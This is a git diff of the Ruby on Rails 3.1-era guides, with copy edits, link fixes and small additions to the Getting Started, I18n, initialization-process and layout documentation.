automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all -the comments belonging to that post as the array +@post.comments+. +the comments belonging to that post as an array using +@post.comments+. TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide. @@ -1214,9 +1232,9 @@ h4. Adding a Route for Comments As with the +home+ controller, we will need to add a route so that Rails knows where we would like to navigate to see +comments+. Open up the -+config/routes.rb+ file again, you will see an entry that was added -automatically for +posts+ near the top by the scaffold generator, +resources -:posts+, edit it as follows: ++config/routes.rb+ file again. Near the top, you will see the entry for +posts+ +that was added automatically by the scaffold generator: <tt>resources +:posts</tt>. Edit it as follows: <ruby> resources :posts do @@ -1242,19 +1260,20 @@ $ rails generate controller Comments This creates six files and one empty directory: -* +app/controllers/comments_controller.rb+ - The controller -* +app/helpers/comments_helper.rb+ - A view helper file -* +test/functional/comments_controller_test.rb+ - The functional tests for the controller -* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper -* +app/views/comments/+ - Views of the controller are stored here -* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller -* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller +|_.File/Directory |_.Purpose | +| app/controllers/comments_controller.rb | The Comments controller | +| app/views/comments/ | Views of the controller are stored here | +| test/functional/comments_controller_test.rb | The functional tests for the controller | +| app/helpers/comments_helper.rb | A view helper file | +| test/unit/helpers/comments_helper_test.rb | The unit tests for the helper | +| app/assets/javascripts/comment.js.coffee | CoffeeScript for the controller | +| app/assets/stylesheets/comment.css.scss | Cascading style sheet for the controller | Like with any blog, our readers will create their comments directly after reading the post, and once they have added their comment, will be sent back to the post show page to see their comment now listed. Due to this, our +CommentsController+ is there to provide a method to create comments and delete -SPAM comments when they arrive. +spam comments when they arrive. So first, we'll wire up the Post show template (+/app/views/posts/show.html.erb+) to let us make a new comment: @@ -1296,8 +1315,8 @@ So first, we'll wire up the Post show template <%= link_to 'Back to Posts', posts_path %> | </erb> -This adds a form on the Post show page that creates a new comment, which will -call the +CommentsController+ +create+ action, so let's wire that up: +This adds a form on the +Post+ show page that creates a new comment by +calling the +CommentsController+ +create+ action. Let's wire that up: <ruby> class CommentsController < ApplicationController @@ -1310,9 +1329,9 @@ end </ruby> You'll see a bit more complexity here than you did in the controller for posts. -That's a side-effect of the nesting that you've set up; each request for a +That's a side-effect of the nesting that you've set up. Each request for a comment has to keep track of the post to which the comment is attached, thus the -initial find action to the Post model to get the post in question. +initial call to the +find+ method of the +Post+ model to get the post in question. In addition, the code takes advantage of some of the methods available for an association. We use the +create+ method on +@post.comments+ to create and save @@ -1382,9 +1401,9 @@ right places. h3. Refactoring -Now that we have Posts and Comments working, if we take a look at the -+app/views/posts/show.html.erb+ template, it's getting long and awkward. We can -use partials to clean this up. +Now that we have posts and comments working, take a look at the ++app/views/posts/show.html.erb+ template. It is getting long and awkward. We can +use partials to clean it up. h4. Rendering Partial Collections @@ -1404,7 +1423,7 @@ following into it: </p> </erb> -Then in the +app/views/posts/show.html.erb+ you can change it to look like the +Then you can change +app/views/posts/show.html.erb+ to look like the following: <erb> @@ -1457,8 +1476,8 @@ comment to a local variable named the same as the partial, in this case h4. Rendering a Partial Form -Lets also move that new comment section out to it's own partial, again, you -create a file +app/views/comments/_form.html.erb+ and in it you put: +Let us also move that new comment section out to its own partial. Again, you +create a file +app/views/comments/_form.html.erb+ containing: <erb> <%= form_for([@post, @post.comments.build]) do |f| %> @@ -1509,7 +1528,7 @@ Then you make the +app/views/posts/show.html.erb+ look like the following: </erb> The second render just defines the partial template we want to render, -<tt>comments/form</tt>, Rails is smart enough to spot the forward slash in that +<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that string and realize that you want to render the <tt>_form.html.erb</tt> file in the <tt>app/views/comments</tt> directory. @@ -1518,7 +1537,7 @@ defined it as an instance variable. h3. Deleting Comments -Another important feature on a blog is being able to delete SPAM comments. To do +Another important feature of a blog is being able to delete spam comments. To do this, we need to implement a link of some sort in the view and a +DELETE+ action in the +CommentsController+. @@ -1608,7 +1627,7 @@ action, except for +index+ and +show+, so we write that: <ruby> class PostsController < ApplicationController - http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show] # GET /posts # GET /posts.json @@ -1636,7 +1655,6 @@ Authentication challenge !images/challenge.png(Basic HTTP Authentication Challenge)! - h3. Building a Multi-Model Form Another feature of your average blog is the ability to tag posts. To implement @@ -1724,8 +1742,8 @@ This example shows another option of the render helper, being able to pass in local variables, in this case, we want the local variable +form+ in the partial to refer to the +post_form+ object. -We also add a <tt>@post.tags.build</tt> at the top of this form, this is to make -sure there is a new tag ready to have it's name filled in by the user. If you do +We also add a <tt>@post.tags.build</tt> at the top of this form. This is to make +sure there is a new tag ready to have its name filled in by the user. If you do not build the new tag, then the form will not appear as there is no new Tag object ready to create. @@ -1890,24 +1908,3 @@ Two very common sources of data that are not UTF-8: is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese character, the data will be lost forever once it enters the database. If possible, use UTF-8 as the internal storage of your database. - -h3. Changelog - -* April 26, 2011: Change migration code from +up+, +down+ pair to +change+ method by "Prem Sichanugrist":http://sikachu.com -* April 11, 2011: Change scaffold_controller generator to create format block for JSON instead of XML by "Sebastian Martinez":http://www.wyeworks.com -* August 30, 2010: Minor editing after Rails 3 release by "Joost Baaij":http://www.spacebabies.nl -* July 12, 2010: Fixes, editing and updating of code samples by "Jaime Iniesta":http://jaimeiniesta.com -* May 16, 2010: Added a section on configuration gotchas to address common encoding problems that people might have by "Yehuda Katz":http://www.yehudakatz.com -* April 30, 2010: Fixes, editing and updating of code samples by "Rohit Arondekar":http://rohitarondekar.com -* April 25, 2010: Couple of more minor fixups by "Mikel Lindsaar":credits.html#raasdnil -* April 1, 2010: Fixed document to validate XHTML 1.0 Strict by "Jaime Iniesta":http://jaimeiniesta.com -* February 8, 2010: Full re-write for Rails 3.0-beta, added helpers and before_filters, refactored code by "Mikel Lindsaar":credits.html#raasdnil -* January 24, 2010: Re-write for Rails 3.0 by "Mikel Lindsaar":credits.html#raasdnil -* July 18, 2009: Minor cleanup in anticipation of Rails 2.3.3 by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy -* November 3, 2008: Formatting patch from Dave Rothlisberger -* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 8, 2008: initial version by "James Miller":credits.html#bensie (not yet approved for publication) diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile index 0c8e4e974d..e9477e84cf 100644 --- a/railties/guides/source/i18n.textile +++ b/railties/guides/source/i18n.textile @@ -1,4 +1,4 @@ -lh2. Rails Internationalization (I18n) API +h2. Rails Internationalization (I18n) API The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application. @@ -8,15 +8,15 @@ So, in the process of _internationalizing_ your Rails application you have to: * Ensure you have support for i18n * Tell Rails where to find locale dictionaries -* Tell Rails how to set, preserve and switch locale +* Tell Rails how to set, preserve and switch locales In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc +* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc. * Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere -This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. +This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. endprologue. @@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. -NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. +NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -231,7 +231,7 @@ end Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed). -If you don't want to force the use of a locale in your routes you can use an optional path scope (donated by the use brackets) like so: +If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so: <ruby> # config/routes.rb @@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files. You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) +h4. Passing variables to translations + +You can use variables in the translation messages and pass their values from the view. + +<ruby> +# app/views/home/index.html.erb +<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %> + +# config/locales/en.yml +en: + greet_username: "%{message}, %{user}!" +</ruby> + h4. Adding Date/Time Formats OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. @@ -448,6 +461,7 @@ Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations +* using safe HTML translations * localizing dates, numbers, currency, etc. h4. Looking up Translations @@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The I18n.default_locale = :de </ruby> +h4. Using Safe HTML Translations + +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. + +<ruby> +# config/locales/en.yml +en: + welcome: <b>welcome!</b> + hello_html: <b>hello!</b> + title: + html: <b>title!</b> + +# app/views/home/index.html.erb +<div><%= t('welcome') %></div> +<div><%= raw t('welcome') %></div> +<div><%= t('hello_html') %></div> +<div><%= t('title.html') %></div> +</ruby> + +!images/i18n/demo_html_safe.png(i18n demo html safe)! + h3. How to Store your Custom Translations The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] @@ -796,7 +831,6 @@ h5. Active Support Methods * +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope. - h3. Customize your I18n Setup h4. Using Different Backends diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb index b48488d8a2..c9a8c4fa5c 100644 --- a/railties/guides/source/index.html.erb +++ b/railties/guides/source/index.html.erb @@ -30,7 +30,6 @@ Ruby on Rails Guides <% content_for :index_section do %> <div id="subCol"> <dl> - <dd class="warning">Rails Guides are a result of the ongoing <a href="http://hackfest.rubyonrails.org">Guides hackfest</a>, and a work in progress.</dd> <dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd> </dl> </div> @@ -124,13 +123,17 @@ Ruby on Rails Guides <p>This guide covers the basic configuration settings for a Rails application.</p> <% end %> -<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :work_in_progress => true) do %> +<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html') do %> <p>This guide covers the command line tools and rake tasks provided by Rails.</p> <% end %> <%= guide("Caching with Rails", 'caching_with_rails.html', :work_in_progress => true) do %> <p>Various caching techniques provided by Rails.</p> <% end %> + +<%= guide('Asset Pipeline', 'asset_pipeline.html') do %> + <p>This guide documents the asset pipeline.</p> +<% end %> </dl> <h3>Extending Rails</h3> @@ -170,6 +173,10 @@ Ruby on Rails Guides <h3>Release Notes</h3> <dl> +<%= guide("Ruby on Rails 3.1 Release Notes", '3_1_release_notes.html') do %> + <p>Release notes for Rails 3.1.</p> +<% end %> + <%= guide("Ruby on Rails 3.0 Release Notes", '3_0_release_notes.html') do %> <p>Release notes for Rails 3.0.</p> <% end %> diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile index 477ee5a3a2..5ae9cf0f2b 100644 --- a/railties/guides/source/initialization.textile +++ b/railties/guides/source/initialization.textile @@ -1,13 +1,13 @@ h2. The Rails Initialization Process -This guide explains the internals of the initialization process in Rails works as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. +This guide explains the internals of the initialization process in Rails as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. * Using +rails server+ * Using Passenger endprologue. -This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail a long the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. +This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail along the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. @@ -17,7 +17,7 @@ As of Rails 3, +script/server+ has become +rails server+. This was done to centr h4. +bin/rails+ -The actual +rails+ command is kept in _bin/rails_ at the and goes like this: +The actual +rails+ command is kept in _bin/rails_: <ruby> #!/usr/bin/env ruby @@ -31,9 +31,9 @@ rescue LoadError end </ruby> -This file will attempt to load +rails/cli+ and if it cannot find it then add the +railties/lib+ path to the load path (+$:+) and will then try to require it again. +This file will attempt to load +rails/cli+. If it cannot find it then +railties/lib+ is added to the load path (+$:+) before retrying. -h4. +railites/lib/rails/cli.rb+ +h4. +railties/lib/rails/cli.rb+ This file looks like this: @@ -56,7 +56,7 @@ else end </ruby> -The +rbconfig+ file here is out of Ruby's standard library and provides us with the +RbConfig+ class which contains useful information dependent on how Ruby was compiled. We'll see this in use in +railties/lib/rails/script_rails_loader+. +The +rbconfig+ file from the Ruby standard library provides us with the +RbConfig+ class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in +railties/lib/rails/script_rails_loader+. <ruby> require 'pathname' @@ -71,7 +71,7 @@ module Rails end </ruby> -The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ console, we'll see that when we get to the +in_rails_application?+ method. +The +rails/script_rails_loader+ file uses +RbConfig::Config+ to obtain the +bin_dir+ and +ruby_install_name+ values for the configuration which together form the path to the Ruby interpreter. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method. Back in +rails/cli+, the next line is this: @@ -79,7 +79,7 @@ Back in +rails/cli+, the next line is this: Rails::ScriptRailsLoader.exec_script_rails! </ruby> -This method is defined in +rails/script_rails_loader+ like this: +This method is defined in +rails/script_rails_loader+: <ruby> def self.exec_script_rails! @@ -96,7 +96,7 @@ rescue SystemCallError end </ruby> -This method will first check if the current working directory (+cwd+) is a Rails application or is a subdirectory of one. The way to determine this is defined in the +in_rails_application?+ method like this: +This method will first check if the current working directory (+cwd+) is a Rails application or a subdirectory of one. This is determined by the +in_rails_application?+ method: <ruby> def self.in_rails_application? @@ -104,7 +104,7 @@ def self.in_rails_application? end </ruby> -The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+, then +in_rails_application_subdirectory?+ will be used: +The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+ then +in_rails_application_subdirectory?+ will be used: <ruby> def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) @@ -112,17 +112,17 @@ def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) end </ruby> -This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory is reached which contains this file then this line will run: +This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory containing this file is reached then this line will run: <ruby> exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? </ruby> -This is effectively the same as doing +ruby script/rails [arguments]+. Where +[arguments]+ at this point in time is simply "server". +This is effectively the same as running +ruby script/rails [arguments]+, where +[arguments]+ at this point in time is simply "server". h4. +script/rails+ -This file looks like this: +This file is as follows: <ruby> APP_PATH = File.expand_path('../../config/application', __FILE__) @@ -130,7 +130,7 @@ require File.expand_path('../../config/boot', __FILE__) require 'rails/commands' </ruby> -The +APP_PATH+ constant here will be used later in +rails/commands+. The +config/boot+ file that +script/rails+ references is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up. +The +APP_PATH+ constant will be used later in +rails/commands+. The +config/boot+ file referenced here is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up. h4. +config/boot.rb+ @@ -190,7 +190,8 @@ aliases = { "g" => "generate", "c" => "console", "s" => "server", - "db" => "dbconsole" + "db" => "dbconsole", + "r" => "runner" } command = ARGV.shift @@ -242,7 +243,7 @@ In this file there are a lot of lines such as this inside the +ActiveSupport+ mo autoload :Inflector </ruby> -Due to the overriding of the +autoload+ method, Ruby will know to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. +Due to the overriding of the +autoload+ method, Ruby will know how to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. The +active_support/lib/active_support/version.rb+ that is also required here simply defines an +ActiveSupport::VERSION+ constant which defines a couple of constants inside this module, the main constant of this is +ActiveSupport::VERSION::STRING+ which returns the current version of ActiveSupport. @@ -348,10 +349,10 @@ The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ def parse!(args) args, options = args.dup, {} - opt_parser = OptionParser.new do |opts| - opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" - opts.on("-p", "--port=port", Integer, - "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } + opt_parser = OptionParser.new do |opts| + opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" + opts.on("-p", "--port=port", Integer, + "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } ... </ruby> @@ -449,11 +450,11 @@ run YourApp::Application The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code: <ruby> -app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", +app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app", TOPLEVEL_BINDING, config </ruby> -The <ruby>initialize</ruby> method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: +The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: <ruby> require ::File.expand_path('../config/environment', __FILE__) @@ -524,19 +525,19 @@ silence_warnings do end </ruby> -These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":http://guides.rubyonrails.org/active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide. +These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide. h4. +active_support/core_ext/logger.rb+ The next file that is required is another Active Support core extension, this time to the +Logger+ class. This begins by defining the +around_[level]+ helpers for the +Logger+ class as well as other methods such as a +datetime_format+ getter and setter for the +formatter+ object tied to a +Logger+ object. -For more information see the "Extensions to Logger":http://guides.rubyonrails.org/active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide. +For more information see the "Extensions to Logger":active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide. h4. +railties/lib/rails/application.rb+ The next file required by +railties/lib/rails.rb+ is +application.rb+. This file defines the +Rails::Application+ constant which the application's class defined in +config/application.rb+ in a standard Rails application depends on. Before the +Rails::Application+ class is defined however, there's some other files that get required first. -The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#merging under the "Merging" section. +The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":active_support_core_extensions.html#merging under the "Merging" section. h4. +active_support/file_update_checker.rb+ @@ -574,7 +575,7 @@ Now that +rails/initializable.rb+ has finished being required from +rails/railti h4. +railties/lib/rails/configuration.rb+ -This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":http://guides.rubyonrails.org/configuring.html#configuring-generators. +This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":configuring.html#configuring-generators. The first file required in this file is +activesupport/deprecation+. @@ -597,11 +598,11 @@ This file defines the +ActiveSupport::Notifications+ module. Notifications provi The "API documentation":http://api.rubyonrails.org/classes/ActiveSupport/Notifications.html for +ActiveSupport::Notifications+ explains the usage of this module, including the methods that it defines. -The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation. +The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation. h4. +activesupport/core_ext/array/wrap+ -As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#wrapping +As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":active_support_core_extensions.html#wrapping h4. +activesupport/lib/active_support/deprecation/reporting.rb+ @@ -623,7 +624,7 @@ h4. +active_support/ordered_options+ This file is the next file required from +rails/configuration.rb+ is the file that defines +ActiveSupport::OrderedOptions+ which is used for configuration options such as +config.active_support+ and the like. -The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#deep_dup +The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":active_support_core_extensions.html#deep_dup The file that is required next from is +rails/paths+ @@ -681,7 +682,7 @@ When the module from this file (+Rails::Initializable+) is included, it extends h4. +railties/lib/rails/engine.rb+ -The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation. +The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation. The next two files after this are Ruby standard library files: +pathname+ and +rbconfig+. The file after these is +rails/engine/railties+. @@ -697,7 +698,7 @@ Once this file has finished loading we jump back to +railties/lib/rails/plugin.r h4. Back to +railties/lib/rails/plugin.rb+ -The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":http://guides.rubyonrails.org/active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide. +The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide. Once that file has finished loading, the +Rails::Plugin+ class is defined. @@ -760,7 +761,6 @@ def subclasses end </ruby> - The +config+ method used at the top of +I18n::Railtie+ is defined on +Rails::Railtie+ and is defined like this: <ruby> @@ -817,7 +817,7 @@ def initializer(name, opts = {}, &blk) end </ruby> -An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":[http://ryanbigg.com/guides/configuring.html#rails-railtie-initializer]. +An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":configuring.html#rails-railtie-initializer. The +Initializer+ class here is defined within the +Rails::Initializable+ module and its +initialize+ method is defined to just set up a couple of variables: @@ -847,7 +847,7 @@ The +Collection+ class in +railties/lib/rails/initializable.rb+ inherits from +A The +initializers_chain+ method referenced in the +initializers_for+ method is defined like this: -<rub> +<ruby> def initializers_chain initializers = Collection.new ancestors.reverse_each do | klass | diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb index 5dcac8e74c..4c979888b7 100644 --- a/railties/guides/source/layout.html.erb +++ b/railties/guides/source/layout.html.erb @@ -5,7 +5,7 @@ <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> -<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title> +<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> <link rel="stylesheet" type="text/css" href="stylesheets/style.css" /> <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" /> @@ -71,6 +71,7 @@ <dd><a href="configuring.html">Configuring Rails Applications</a></dd> <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd> <dd><a href="caching_with_rails.html">Caching with Rails</a></dd> + <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd> <dt>Extending Rails</dt> <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd> @@ -83,13 +84,14 @@ <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd> <dt>Release Notes</dt> + <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd> <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd> <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd> <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd> </dl> </div> </li> - <li><a href="contribute.html">Contribute</a></li> + <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li> <li><a href="credits.html">Credits</a></li> </ul> </div> @@ -127,6 +129,10 @@ <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> for style and conventions. </p> + <p> + If for whatever reason you spot something to fix but cannot patch it yourself, please + <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>. + </p> <p>And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>. </p> diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile index 57485e8986..df7b9b364c 100644 --- a/railties/guides/source/layouts_and_rendering.textile +++ b/railties/guides/source/layouts_and_rendering.textile @@ -90,7 +90,7 @@ If we want to display the properties of all the books in our view, we can do so <%= link_to 'New book', new_book_path %> </ruby> -NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). 